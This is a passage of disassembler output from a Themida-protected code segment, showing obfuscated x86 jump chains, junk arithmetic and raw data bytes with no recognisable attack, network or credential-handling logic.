		dd 5E3EF81h, 0EF81757Bh, 737C6D42h, 6853525Bh, 5AF66C51h
		dd 8A07E9h, 0BF665700h,	0BB667892h, 166E2E9h, 0C1665FFBh
		dd 665202EBh, 66545EBAh, 9CBF6657h, 6BC3E933h, 0F3890000h
		dd 7AEEE9h
		db 0
; ---------------------------------------------------------------------------


loc_5554D1:				; CODE XREF: Themida_:0055D1C6j
		pop	esp
		jmp	loc_550F5F
; ---------------------------------------------------------------------------


loc_5554D7:				; CODE XREF: Themida_:0056385Bj
		xchg	eax, [esp]
		pop	esp
		add	ebp, 4
		add	ebp, 4
		xchg	ebp, [esp]
		jmp	loc_5654AF
; ---------------------------------------------------------------------------


loc_5554EC:				; CODE XREF: Themida_:00559C6Fj
		add	esi, edi
		pop	edi
		jmp	loc_55C1A8
; ---------------------------------------------------------------------------
		dd 4BA52h, 54010000h, 5D5A0424h, 0D18AE957h, 0FD01FFFFh
		dd 51E1C581h, 3CE92A1Bh
		db 0C6h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_555513:				; CODE XREF: Themida_:00559294j
		push	ebp
		jmp	loc_55D1DF
; ---------------------------------------------------------------------------
		db 56h,	68h, 0
		dd 8900005Dh, 0E0892404h, 405h,	42D00h,	4870000h, 0EC815C24h
		dd 4, 81242489h, 42404h, 48F0000h, 24048124h, 4, 0B44AE95Eh
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_555552:				; CODE XREF: Themida_:00564AC0j
		sub	ecx, 5E904A1h
		add	ecx, eax
		add	ecx, 5E904A1h
		sub	ecx, 464F0F0Fh
		push	ebp
		mov	ebp, 24C3075Bh
		sub	ecx, ebp
		pop	ebp
		sub	ecx, 45D33BE0h
		add	ecx, 768809DAh
		mov	eax, [esp]
		add	esp, 4
		jmp	loc_55BB02
; ---------------------------------------------------------------------------
		db 81h,	0EAh, 0F3h
		dd 8B52361Dh, 0C4832434h, 24148704h, 8E30E9h, 3C895C00h
		dd 288BF24h, 0BB537E49h, 1, 1C8BDF01h, 7745E924h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_5555B6:				; CODE XREF: Themida_:0055ABFDj
		mov	eax, 0
		add	eax, ecx
		push	ebx
		mov	ebx, 0
		jmp	loc_5573DE
; ---------------------------------------------------------------------------
		dd 0E9243C8Bh, 0F51h, 8104E3C1h, 1C3h, 50EB8100h, 0E9049D09h
		dd 2DC6h, 4BDh,	506E900h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_5555EE:				; CODE XREF: Themida_:00557382j
		shr	esi, 5
		shl	esi, 3
		push	edx
		mov	edx, 2E376752h
		jmp	loc_564EEF
; ---------------------------------------------------------------------------
		db 4Fh
		dd 7373F781h, 0F4E9534Eh, 5DFFFFDFh, 5658C589h,	327FD1BEh
		dd 77B95153h, 81042172h, 0E51CAEE9h, 0E9CF29A6h, 80CDh
; ---------------------------------------------------------------------------


loc_555628:				; CODE XREF: Themida_:00550F60j
		xor	al, bl
		push	eax
		jmp	loc_5640AD
; ---------------------------------------------------------------------------
		dd 57E9F766h, 0C781E789h, 4, 4EF81h, 3C870000h,	0C895C24h
		dd 918CE924h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_55564E:				; CODE XREF: Themida_:00558DD3j
		push	ebp
		mov	ebp, 80h
		and	ecx, ebp
		mov	ebp, [esp]
		push	ebp
		mov	ebp, esp
		push	ebx
		mov	ebx, 5191101Eh
		jmp	loc_559159
; ---------------------------------------------------------------------------


loc_555667:				; CODE XREF: Themida_:00563D72j
		push	ebp
		mov	ebp, 143251A9h
		add	eax, ebp
		pop	ebp
		jmp	loc_5595FE
; ---------------------------------------------------------------------------
		db 5Bh,	0E9h, 88h
		db 0C0h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55567B:				; CODE XREF: Themida_:005525B3j
		pop	esi
		sub	esp, 4
		mov	[esp], ecx
		mov	ecx, edi
		push	ecx
		pop	ebp
		pop	ecx
		pop	edi
		pop	ebx
		and	eax, ebp
		push	dword ptr [esp]
		jmp	loc_55274E
; ---------------------------------------------------------------------------


loc_555696:				; CODE XREF: Themida_:005637C4j
		shl	edx, 1
		sub	edx, 3FE69F08h
		mov	esi, edx
		pop	edx
		sub	ebx, 4C75759Ch
		sub	ebx, esi
		add	ebx, 4C75759Ch
		mov	esi, [esp]
		jmp	loc_55BE05
; ---------------------------------------------------------------------------
		db 81h
		dd 0FFFFFFEBh, 0C2B951FFh, 9397915h, 0C38159CBh, 0DCA9A82Fh
		dd 9FA1E9h, 241C8900h, 4BBh, 3E98100h, 1427370h, 3C181D9h
		dd 5B427370h, 31240C33h, 0C33240Ch, 89515C24h, 4C181E1h
		dd 81000000h, 4ECh, 0BAB1E900h
		db 2 dup(0)
word_555706	dw 34FFh		; DATA XREF: Themida_:00550F0Co
aZpsiusx	db '$ZPS┴ЦИx:',0
		db 0
; ---------------------------------------------------------------------------


loc_555713:				; CODE XREF: Themida_:00558E49j
		xor	ecx, 23965DA7h
		mov	eax, ecx
		pop	ecx
		mov	ebx, eax
		push	dword ptr [esp]
		pop	eax
		push	edx
		mov	edx, esp
		push	ebp
		mov	ebp, 5FF028A0h
		shr	ebp, 7
		push	esi
		mov	esi, 5A180823h
		xor	ebp, esi
		pop	esi
		shr	ebp, 1
		xor	ebp, 2D53F43Dh
		add	edx, ebp
		jmp	loc_551EB0
; ---------------------------------------------------------------------------
		dw 0CA01h
		dd 0FC17E9h, 49C68100h,	0E9E49901h, 5B1Fh, 0E9243C89h
		dd 0FFFFFBBCh
; ---------------------------------------------------------------------------


loc_555760:				; CODE XREF: Themida_:00555A64j
		add	edi, 258B7CDDh
		neg	edi
		xor	edi, 0E70B7099h
		xor	esi, edi
		pop	edi
		add	ebp, esi
		pop	esi
		add	ebp, 4
		jmp	loc_55A0CA
; ---------------------------------------------------------------------------


loc_55577C:				; CODE XREF: Themida_:00559FA6j
		add	esp, 4
		jmp	loc_55AF29
; ---------------------------------------------------------------------------
aI4S?o		db '┴4$И?╝',0
		dw 5100h
aIsske		db '┴АИ┼E',0
		db 0
; ---------------------------------------------------------------------------


loc_555797:				; CODE XREF: Themida_:00554A01j
		add	eax, 4
		add	eax, 4
		xchg	eax, [esp]
		pop	esp
		xchg	ecx, [esp]
		pop	esp
		push	177Ch
		jmp	loc_554B55
; ---------------------------------------------------------------------------


loc_5557B3:				; CODE XREF: Themida_:0055C506j
		push	esi
		not	dword ptr [esp]
		pop	esi
		neg	esi
		xor	esi, 5EB46A3Ah
		mov	edx, esi
		pop	esi
		mov	esi, 0B68792CAh
		sub	esi, edx
		pop	edx
		jmp	loc_561D27
; ---------------------------------------------------------------------------
		dd 0EC81C6FEh, 2, 240C8966h, 88F78853h,	241C8BFDh, 0F604C483h
		dd 0C98E9D5h, 0F3810000h, 1BB64E6Bh, 215BDA89h,	0BE565AD1h
		dd 6C0F21B3h, 0E908EEC1h, 0FFFFFA27h, 0B6685756h, 5F0E7328h
		dd 1198E9h
		db 0
; ---------------------------------------------------------------------------


loc_555815:				; CODE XREF: Themida_:005629C5j
		mov	[esp], ecx
		mov	ecx, 4
		sub	eax, 3EFB6725h
		add	eax, ecx
		jmp	loc_5512FB
; ---------------------------------------------------------------------------
		db 52h,	0BAh, 2
		dd 81000000h, 956EFC6h,	81D60152h, 956EFEEh, 24148B52h
		dd 4C481h, 34330000h, 0BF46E924h, 34FF0000h, 0BE95D24h
		dd 43000005h, 5DD2C381h, 1105C9B8h, 297EF568h, 68112DD8h
		dd 1C8B7EF5h, 4C48124h,	56000000h, 614268h, 243C8900h
		dd 265DAA68h, 0EAFBE970h, 8B660000h, 0C481241Ch, 2, 52CE9h
		dd 24148900h, 0BAh, 0CFEA8100h,	295B382Eh, 0CFC281FAh
		dd 0E95B382Eh, 6C9Fh, 0E9241431h, 0FFFFE006h, 8924248Bh
		dd 2C812404h, 0F756B924h, 40478F5Ah, 0B0E7E9h, 59C38100h
		dd 29540C22h, 37E952C3h, 5AFFFFD4h, 348BF389h, 4C48324h
		dd 875BDE29h, 0E95C2434h, 128Ah
; ---------------------------------------------------------------------------


loc_5558F0:				; CODE XREF: Themida_:0055F3E0j
		add	ebp, ecx
		sub	ebp, 6ED712E6h
		push	edx
		mov	edx, 5F7375A8h
		add	ebp, edx
		pop	edx
		pop	ecx
		jmp	loc_55FDDD
; ---------------------------------------------------------------------------


loc_555907:				; CODE XREF: Themida_:0055D98Bj
		push	small 7B2Fh
		mov	[esp], ax
		mov	al, 0BAh
		push	edx
		mov	dl, al
		mov	ch, dl
		pop	edx
		pop	ax
		push	eax
		push	ebx
		mov	bl, ch
		mov	al, bl
		jmp	loc_56096D
; ---------------------------------------------------------------------------
		dd 0E924348Bh, 0FEBh, 0BB241C89h, 50753C15h, 0D3F7D3F7h
		dd 0DA18E9h
		db 0
; ---------------------------------------------------------------------------


loc_55593D:				; CODE XREF: Themida_:00560F05j
		add	ecx, edi
		add	ecx, 53DD1572h
		sub	ecx, 1938582Eh
		push	eax
		mov	eax, 627F1592h
		sub	eax, 236E55B6h
		or	eax, 2CEF3013h
		jmp	loc_563501
; ---------------------------------------------------------------------------
dword_555960	dd 24048B66h, 4EC81h, 4AE90000h	; DATA XREF: Themida_:00550C9Co
		db 5Bh,	2 dup(0)
byte_55596F	db 0FFh			; DATA XREF: Themida_:00550EC4o
		dd 34FF2434h, 0E9525924h, 0CF9Ch, 24048966h, 0C30017B0h
		dd 24048B66h, 0B24FE9h,	5E1C000h, 15F96866h, 24048966h
		dd 0E29AE9h, 0F5015E00h, 3418ED81h, 0FEE908F7h
		db 0DBh, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5559AB:				; CODE XREF: Themida_:0055D8BEj
		add	bl, dh
		pop	dx
		movzx	eax, al
		mov	dx, [esp]
		sub	esp, 4
		mov	[esp], ebp
		jmp	loc_5650F5
; ---------------------------------------------------------------------------


loc_5559C4:				; CODE XREF: Themida_:00560A79j
		inc	edx
		sub	esp, 4
		mov	[esp], ebx
		mov	ebx, 38752DD5h
		xor	edx, ebx
		pop	ebx
		jmp	loc_552164
; ---------------------------------------------------------------------------
		db 52h
		dd 0E156A5BAh, 5AD33166h, 24048153h, 162D2041h,	41ED815Dh
		dd 5B162D20h, 59A4E9h, 0FAE95C00h
		db 2Bh,	2 dup(0)
; ---------------------------------------------------------------------------


loc_5559FF:				; CODE XREF: Themida_:0055D5A9j
		push	ecx
		mov	ecx, 5F332508h
		inc	ecx
		sub	ecx, 0FFFFFFFFh
		shl	ecx, 2
		sub	ecx, 719B180Bh
		push	eax
		mov	eax, 7AE207FAh
		neg	eax
		neg	eax
		add	eax, 74BD4FE6h
		xor	eax, 0F33C7B8Fh
		jmp	loc_557AFF
; ---------------------------------------------------------------------------
		db 81h
		dd 4C4h, 241C8700h, 35ECE9h
		db 0
; ---------------------------------------------------------------------------


loc_555A39:				; CODE XREF: Themida_:0055D03Cj
		push	5FDDh
		mov	[esp], esi
		push	esp
		mov	esi, [esp]
		add	esp, 4
		push	edi
		mov	edi, 4
		jmp	loc_5636BC
; ---------------------------------------------------------------------------
aS2		db '[И╟2',0
		align 4


loc_555A5C:				; CODE XREF: Themida_:0055399Fj
		mov	edi, 519C5D2Dh
		neg	edi
		dec	edi
		jmp	loc_555760
; ---------------------------------------------------------------------------
		db 66h,	0BEh, 16h
		dd 0BB6653CDh, 81666D20h, 660E53C3h, 4A50EB81h,	66DBF766h
		dd 0BEE9E94Bh, 5A54FFFFh, 1011E9h, 324BBD00h, 0DDF746EAh
		dd 0C106E5C1h, 3BE904EDh, 0BF000092h, 632B2553h, 3AD5E9h
		dd 24148900h, 8E342CBAh, 0F8CA8175h, 81706A03h,	1638B0CAh
		dd 81DAF75Bh, 3750A0C2h, 0A591E98Dh, 0E7800000h, 2EF8065h
		dd 0FFC574E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_555AD5:				; CODE XREF: Themida_:0055D7B5j
		sub	esi, 3F9E684Bh
		and	esi, 245E3A23h
		inc	esi
		push	ebx
		push	6D6E5B3Eh
		pop	ebx
		push	esi
		mov	esi, 24584712h
		jmp	loc_55737C
; ---------------------------------------------------------------------------
		dd 4246C01h, 240C8B5Dh,	4C481h,	0EC830000h, 242C8904h
		dd 0C581E589h, 4, 4ED81h, 0E4E90000h
		db 0CEh, 2 dup(0)
byte_555B1B	db 66h			; DATA XREF: Themida_:00550D1Co
		dd 57240C8Bh, 0C781E789h, 4, 44A8B951h,	0C1817645h, 7CC06E0Bh
		dd 5DE0E981h, 0D9F78AB6h, 181EE9h, 24148900h, 4B80E9h
		db 0
; ---------------------------------------------------------------------------


loc_555B49:				; CODE XREF: Themida_:00558A70j
		push	ebp
		mov	ebp, 75E35F63h
		sub	eax, 61821C9Fh
		jmp	loc_55880F
; ---------------------------------------------------------------------------
		db 81h,	0C4h, 4
		dd 81000000h, 4C1h, 4BB5300h, 1000000h,	0C875BD9h, 267BE924h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_555B76:				; CODE XREF: Themida_:00561468j
		mov	[esp], edx
		jmp	loc_56091F
; ---------------------------------------------------------------------------
		dw 47BFh
		dd 811FC65Fh, 0C65F43F7h, 8BFE891Fh, 0C481243Ch, 4, 685EF301h
		dd 4391h, 89242C89h, 4C581E5h, 81000000h, 4EDh,	242C3300h
		dd 0FFEC9EE9h, 81CB01FFh, 5B460CC3h, 0FF535977h, 5B042474h
		dd 8B24048Fh, 0EC812424h, 4, 882AE9h
		db 0
byte_555BD5	db 66h,	8Bh, 0Ch	; DATA XREF: Themida_:00550C8Co
		dd 0BE02E924h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_555BDE:				; CODE XREF: Themida_:00563D9Cj
		mov	esi, [esp]
		sub	esp, 4
		jmp	loc_562133
; ---------------------------------------------------------------------------


loc_555BE9:				; CODE XREF: Themida_:005552E1j
		push	dword ptr [edi+eax*4]
		push	dword ptr [esp]
		mov	eax, [esp]
		add	esp, 4
		push	edi
		push	esp
		pop	edi
		push	2C72h
		jmp	loc_554ADB
; ---------------------------------------------------------------------------


loc_555C05:				; CODE XREF: Themida_:005533C0j
		push	esp
		pop	dword ptr [esp]
		add	dword ptr [esp], 4
		pop	eax
		add	eax, 4
		jmp	loc_564B6D
; ---------------------------------------------------------------------------
		dd 0A7E9F031h, 8000004Bh, 0E688B8ECh, 66F78858h, 0E924148Bh
		dd 0C15Ah, 5F241489h, 0FFF7315Ah, 815E2434h, 4C4h, 3EFC100h
		dd 0E904EC83h, 858Eh, 0A45C2C05h, 395AE918h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_555C56:				; CODE XREF: Themida_:005571BFj
		mov	ebx, edi
		pop	edi
		add	edx, ebx
		pop	ebx
		xor	edx, [esp]
		xor	[esp], edx
		jmp	loc_552529
; ---------------------------------------------------------------------------
		db 50h
		dd 0BB53h, 89520000h, 0D78957DAh, 0D60FE9h
		db 0
; ---------------------------------------------------------------------------


loc_555C79:				; CODE XREF: Themida_:00555255j
		add	edx, edi
		push	dword ptr [esp]
		pop	edi
		push	edi
		jmp	loc_563420
; ---------------------------------------------------------------------------
		db 0C1h, 0E1h, 4
		dd 8308E1C1h, 99E904ECh, 0BDFFFFFCh, 4,	0CB5EE705h, 76292D3Ch
		dd 0E80154B5h, 576A68h,	243C8900h, 0FB055BBFh, 0F949E907h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_555CB6:				; CODE XREF: Themida_:00551DEAj
		push	esi
		push	ebp
		mov	ebp, 2E5A69E0h
		mov	esi, ebp
		pop	ebp
		and	esi, 53377FEAh
		add	esi, 2E7C137Fh
		sub	esi, 7E486B76h
		sub	edi, esi
		mov	esi, [esp]
		jmp	loc_556D9C
; ---------------------------------------------------------------------------


loc_555CDC:				; CODE XREF: Themida_:0055675Dj
		add	edi, 1
		not	edi
		jmp	loc_55512C
; ---------------------------------------------------------------------------
		dw 37B8h
		dd 0C108294Ch, 0C14806E8h, 0E94803E8h, 8B5Dh, 8904EC83h
		dd 0E0892404h, 8904EC83h, 4BF243Ch, 1000000h, 0EC835FF8h
		dd 241C8904h, 0B237E957h, 50660000h, 0CBA4E9h, 240C8B00h
		dd 8704C483h, 0E95C2434h, 56EDh, 9CCFED81h, 0E889BF83h
		dd 0E9242C8Bh, 6B8Ah
; ---------------------------------------------------------------------------


loc_555D40:				; CODE XREF: Themida_:00553F82j
		sub	eax, 18FA0227h
		add	eax, 58D53A8Ch
		sub	eax, esi
		sub	eax, 58D53A8Ch
		push	ecx
		mov	ecx, 18FA0227h
		add	eax, ecx
		pop	ecx
		mov	esi, [esp]
		jmp	loc_55CC8E
; ---------------------------------------------------------------------------
		dw 0C481h
		dd 4, 1C381h, 0CEE90000h
		db 0CBh, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_555D73:				; CODE XREF: Themida_:005592A3j
		push	ecx
		mov	ecx, 43055A36h
		mov	esi, 7E487565h
		xor	esi, ecx
		pop	ecx
		or	esi, 41044E34h
		inc	esi
		shl	esi, 7
		xor	esi, 81CFF764h
		jmp	loc_5529DF
; ---------------------------------------------------------------------------


loc_555D96:				; CODE XREF: Themida_:00563018j
		push	edi
		mov	edi, 0E8B31E6h
		add	[esp+8], edi
		pop	edi
		add	[esp+4], ebp
		push	ecx
		mov	ecx, 0E8B31E6h
		sub	[esp+8], ecx
		pop	ecx
		mov	ebp, [esp]
		add	esp, 4
		pop	eax
		push	ebp
		push	edi
		jmp	loc_55AA30
; ---------------------------------------------------------------------------
		db 53h,	0B3h, 0A4h
		dd 0EBC0CBFEh, 0E9516606h, 0CED2h
; ---------------------------------------------------------------------------


loc_555DD0:				; CODE XREF: Themida_:005548E4j
		mov	esi, [esp]
		add	esp, 4
		mov	edx, [esp]
		add	esp, 4
		push	31F8h
		mov	[esp], eax
		mov	eax, 799A72E6h
		shl	eax, 2
		not	eax
		dec	eax
		add	eax, 2E8040C6h
		jmp	loc_5536C5
; ---------------------------------------------------------------------------


loc_555DFF:				; CODE XREF: Themida_:00564F79j
		push	ebx
		mov	ebx, esp
		add	ebx, 4
		add	ebx, 4
		jmp	loc_5635FC
; ---------------------------------------------------------------------------


loc_555E13:				; CODE XREF: Themida_:00557DC1j
		pop	esp
		push	590Eh
		mov	[esp], ecx
		push	67F34E19h
		pop	ecx
		xor	eax, ecx
		push	dword ptr [esp]
		mov	ecx, [esp]
		push	7CE3h
		mov	[esp], esi
		mov	esi, esp
		push	ebp
		mov	ebp, 4
		add	esi, ebp
		pop	ebp
		add	esi, 4
		xchg	esi, [esp]
		jmp	loc_554C09
; ---------------------------------------------------------------------------
		db 5Ch
		dd 4C281h, 0EA810000h, 4, 31241433h, 63E92414h
		db 9Bh,	2 dup(0)
; ---------------------------------------------------------------------------


loc_555E63:				; CODE XREF: Themida_:005629FAj
		pop	ebx
		add	esp, 4
		pop	ecx
		jmp	loc_556DBF
; ---------------------------------------------------------------------------


loc_555E6D:				; CODE XREF: Themida_:00563561j
		push	dword ptr [esp]
		pop	ecx
		add	esp, 4
		shl	ecx, 6
		jmp	loc_5613F4
; ---------------------------------------------------------------------------
		db 8Fh
		dd 0E5E92404h, 0BB000002h, 5DF84EE8h, 6B77E9h
		db 0
; ---------------------------------------------------------------------------


loc_555E91:				; CODE XREF: Themida_:0055783Dj
		mov	ebx, esp
		add	ebx, 4
		add	ebx, 4
		xor	ebx, [esp]
		xor	[esp], ebx
		jmp	loc_55A9A4
; ---------------------------------------------------------------------------
		dw 5F53h
		dd 0E92434FFh, 0EDF6h, 1876BD55h, 0C581383Bh, 4079642Dh
		dd 0FFCA57E9h, 243C89FFh, 0FFDE11E9h, 1BBF57FFh, 0C1742024h
		dd 814703EFh, 1C7h, 0EC685600h,	5EDB0AACh, 0FFEFA9E9h
		dd 4BDFFh, 6C810000h, 6500424h,	6C016CB6h, 44810424h, 6500424h
		dd 34FF6CB6h, 89505D24h, 405E0h, 0C0830000h, 24048704h
		dd 0A421E95Ch, 0F3290000h, 0FFD4BEE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_555F21:				; CODE XREF: Themida_:0055D41Ej
		neg	ebx
		jmp	loc_55987B
; ---------------------------------------------------------------------------
dword_555F28	dd 240C8B66h, 3F1868h, 242C8900h, 242C8B54h, 81E18951h
					; DATA XREF: Themida_:00550DE4o
		dd 4C1h, 4C18300h, 0DCA9E9h, 242C8B00h,	104C483h, 68535DEAh
		dd 42E6h, 0E9240C89h, 0FFFFC22Ch, 0EDBD5543h, 0E9383849h
		dd 63C6h
; ---------------------------------------------------------------------------


loc_555F6C:				; CODE XREF: Themida_:00556ABFj
		xchg	ebp, [esp]
		pop	esp
		jmp	loc_5537CB
; ---------------------------------------------------------------------------
		db 53h,	0BBh, 0DFh
		dd 812C8D3Ch, 317AE5C1h, 53D90163h, 74442BBh, 0A7F3816Ah
		dd 2909363Eh, 46E95BD9h, 54FFFFEFh, 81240C8Bh, 4C4h, 0F476E900h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_555FA6:				; CODE XREF: Themida_:0055A677j
		pop	esp
		sub	esp, 4
		mov	[esp], edi
		push	5DDh
		mov	[esp], eax
		mov	eax, 73C96EABh
		push	esi
		mov	esi, 0C8522E8h
		or	eax, esi
		push	dword ptr [esp]
		pop	esi
		add	esp, 4
		push	edi
		jmp	loc_55DC39
; ---------------------------------------------------------------------------
		dw 535Bh
		dd 42028BBBh, 53B1E927h, 0C4830000h, 0CFB7E904h, 575C0000h
		dd 9668E789h, 8900001Ch, 73B82404h, 55418462h, 0E0CFEBDh
		dd 0FEF58148h, 817A931Dh, 0E52E4EC5h, 0FFED817Ah, 0E9FFFFFFh
		dd 0AC13h, 0E112E959h, 1B80000h, 1000000h, 0E68158C6h
		dd 0BD72B5Ah, 0B6E95546h
		db 83h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_55602F:				; CODE XREF: Themida_:00555358j
		push	esi
		mov	esi, 368228DBh
		or	edi, esi
		pop	esi
		jmp	loc_55A821
; ---------------------------------------------------------------------------
		db 1, 0F1h, 0E9h
		dd 6B56h
dword_556044	dd 8B2434FFh, 36682404h, 89000030h, 0B0E9240Ch,	810000DEh
					; DATA XREF: Themida_:00550CC0o
		dd 4C4h, 8BF20100h, 0C4812434h,	4, 0F078E9h, 0E956B200h
		dd 0E02h, 0BD242C89h, 6B5A27D1h, 53EFE581h, 0ED816A29h
		dd 57A930C5h, 4D08EDC1h, 0BB53D5F7h, 5133055Dh,	0CFB8504Bh
		dd 257AF51Dh, 31287DB1h, 1E49A025h, 8E8C15Fh, 3506E0C1h
		dd 2BCA1246h, 8158C301h, 1EBh, 0A2C38100h, 1AD2C53h, 241C8BDDh
		dd 7B7DE953h, 1C330000h, 241C3124h, 0E9241C33h,	0FFFFB556h
; ---------------------------------------------------------------------------


loc_5560D8:				; CODE XREF: Themida_:005528B0j
		add	ebp, 52B14212h
		jmp	loc_55E712
; ---------------------------------------------------------------------------
aIHd		db '┴<$hD*',0
		dw 8900h
		dd 4832424h, 535F0424h,	0C381E389h, 4, 4EB81h, 1C870000h
		dd 9F85E924h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_55610A:				; CODE XREF: Themida_:0055DA26j
		add	ebx, eax
		sub	ebx, 13B82C08h
		jmp	loc_557B5D
; ---------------------------------------------------------------------------
aYqsr		db '(хYQИ░',9,0
		align 10h
dword_556120	dd 9D1C77FFh, 14D25966h, 30E99C24h, 89FFFFAEh, 31B9240Ch
					; DATA XREF: Themida_:00550CECo
		dd 81641A62h, 469B60F1h, 59CB2961h, 555BD901h, 4BDh, 8BE90100h
		dd 8950242Ch, 405E0h, 0C0830000h, 8E3BE904h, 15F0000h
		dd 6AC581FDh, 0E975126Ch, 0CBB6h, 5524248Bh, 4BDh, 5DE80100h
		dd 1C6968h, 0EDFCE900h,	0E9520000h, 81A8h, 81C3295Fh, 0C53DD8EBh
		dd 6CEB8125h, 52095B4Ch, 0F175D8BAh, 0DD95E937h, 0C481FFFFh
		dd 4, 5F82C681h, 0D6016AC9h, 5F82EE81h,	72E96AC9h, 5000072h
		dd 3EC0612Bh, 2B2DD001h, 0E93EC061h, 0C01Dh, 379BED81h
		dd 0C50146DCh, 379BC581h, 48B46DCh, 4C48124h, 55000000h
		dd 42474FFh, 24048F5Dh,	0BC1CE95Ch, 0EF810000h,	4, 5C243C87h
		dd 52242C89h, 1978A5BAh, 0CAA9E968h, 0C4810000h, 4, 48ABC681h
		dd 0EE812591h, 5DCC3324h, 0C681EE29h, 5DCC3324h, 48ABEE81h
		dd 0F75D2591h, 4E6C1DEh, 37A5C681h, 9AE9548Ch, 310000E8h
		dd 24148BD7h, 6804C483h, 238h, 89241C89h, 5BD889FBh, 18DDE95Fh
		dd 48B0000h, 4C48124h, 68000000h, 7B41h, 54243C89h, 0E9243C8Bh
		dd 920Dh, 0E587E959h, 8C0DFFFFh, 3515F849h, 348E2F30h
		dd 0A47CE335h, 58C53164h, 8103EDC1h, 225680CDh,	0CBED8146h
		dd 564E2BD6h, 0F289EE89h, 57215D5Eh, 2BAE91Ch, 0E9550000h
		dd 8960h, 1986C381h, 0CB2976DBh, 6F54E9h
		db 0
; ---------------------------------------------------------------------------


loc_5562B9:				; CODE XREF: Themida_:0055EF0Ej
		push	edi
		push	6F3Ch
		mov	[esp], esi
		mov	edi, [esp]
		push	edi
		mov	edi, esp
		push	esi
		mov	esi, 4
		jmp	loc_5642B5
; ---------------------------------------------------------------------------
		db 89h
		dd 0BE562414h, 6C512575h, 0FFBC76E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_5562E1:				; CODE XREF: Themida_:005605E5j
		push	571Dh
		mov	[esp], edi
		mov	edi, 19A51D61h
		jmp	loc_55BE55
; ---------------------------------------------------------------------------


loc_5562F3:				; CODE XREF: Themida_:0056324Bj
		add	ecx, edx
		pop	edx
		push	edx
		jmp	loc_5658AB
; ---------------------------------------------------------------------------
		dd 8B2434FFh, 0C481240Ch, 4, 537A68h, 240C8900h, 56E18951h
		dd 1027C0BEh, 26ADE96Fh, 2C330000h, 4015C24h, 34E99C24h
		dd 45FFFFACh, 0ED81DDF7h, 0C562ADC7h, 0E95DE801h, 0A702h
		dd 314468h, 242C8900h, 95BAE9h
		db 0
; ---------------------------------------------------------------------------


loc_556349:				; CODE XREF: Themida_:0055491Cj
		add	dword ptr [esp], 21950E49h
		pop	esi
		push	edx
		mov	edx, 21950E49h
		sub	esi, 33240320h
		sub	esi, edx
		add	esi, 33240320h
		pop	edx
		mov	eax, [esp]
		add	esp, 4
		jmp	loc_560F64
; ---------------------------------------------------------------------------


loc_556371:				; CODE XREF: Themida_:0055FA4Bj
		jmp	loc_554EA2
; ---------------------------------------------------------------------------
		dw 0D8F7h
		dd 3006C935h, 5A07E9FEh, 670D0000h, 0E92A0132h,	0FFFFFFEAh
		dd 4BF5751h, 89000000h,	0A4DDE9F9h, 0C1810000h,	4, 8704C183h
		dd 15C240Ch, 2B55E9FBh,	81580000h, 304D34C7h, 0E15DE963h
		dd 0EB810000h, 0B367E668h, 0A45C2C2Dh, 0E9D80118h, 0FFFFF880h
		dd 0E95BF800h, 0FFFFD240h
; ---------------------------------------------------------------------------


loc_5563D4:				; CODE XREF: Themida_:0055A1FBj
		push	1AC5h
		jmp	loc_552FF5
; ---------------------------------------------------------------------------
		dw 5F54h
		dd 0F0BD5552h, 0BA109137h, 0EF6EC814h, 655CE9h,	497BD00h
		dd 0EA311104h, 55242C8Bh, 0C4B1E9h
		db 0
; ---------------------------------------------------------------------------


loc_556401:				; CODE XREF: Themida_:0055E74Dj
		add	esp, 4
		mov	edx, [esp]
		add	esp, 4
		push	ecx
		mov	ecx, 46AE4A84h
		and	ecx, 3CFE1A5Bh
		sub	ecx, 36EC0558h
		xor	ecx, 49013E8Fh
		sub	ecx, 84C33A23h
		add	edx, ecx
		jmp	loc_5644F7
; ---------------------------------------------------------------------------
		db 0BDh, 13h, 22h
aSlp		db '≤LP╦',0
aWYsb		db 'WчYИBз',0
		dd 0FFC38900h, 48B2434h, 0A886E924h, 0C8290000h, 24048759h
		dd 241C895Ch, 0DBB75352h, 80F3F780h, 0FA886BF7h, 0FFACBAE9h
		db 0FFh
byte_55646D	db 66h,	8Bh, 0Ch	; DATA XREF: Themida_:00550F04o
		db 24h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		push	3F08h
		mov	[esp], ecx
		mov	ecx, 45080DCFh
		jmp	loc_558CC4
; ---------------------------------------------------------------------------
aPisiXfyfq60us_	db 'P┬Х┬фXfYfQ╣60НИа_',0
		dd 0E9295A00h, 2789E9h,	0C2815D00h, 2, 8B241487h, 0F662424h
		dd 8156C8B6h, 4ECh, 685BE900h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_5564BE:				; CODE XREF: Themida_:005513CBj
		mov	eax, edi
		pop	edi
		jmp	loc_552E6E
; ---------------------------------------------------------------------------
		dw 148Bh
aSK		db '$И',27h,'┼',0
		align 2
		dw 1B04h
		dd 6FE9D800h, 58000028h, 5C241C87h, 9C240421h, 2FEAE9h
		db 0
; ---------------------------------------------------------------------------


loc_5564E5:				; CODE XREF: Themida_:005599E1j
		push	dword ptr [esp+4]
		pop	ebx
		pop	dword ptr [esp]
		pop	esp
		push	37Ah
		mov	[esp], ebp
		mov	ebp, esp
		push	esi
		jmp	loc_55EDE9
; ---------------------------------------------------------------------------
		dw 0C581h
		dd 657559D7h, 0F972F581h, 0F5816469h, 0CE354FCh, 0B8E9EF89h
		dd 6800002Eh, 3348h, 9E60E9h, 4C48300h,	5C24048Fh, 6E23EA81h
		dd 0B7E95CA8h
		db 90h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_556533:				; CODE XREF: Themida_:0055C5A4j
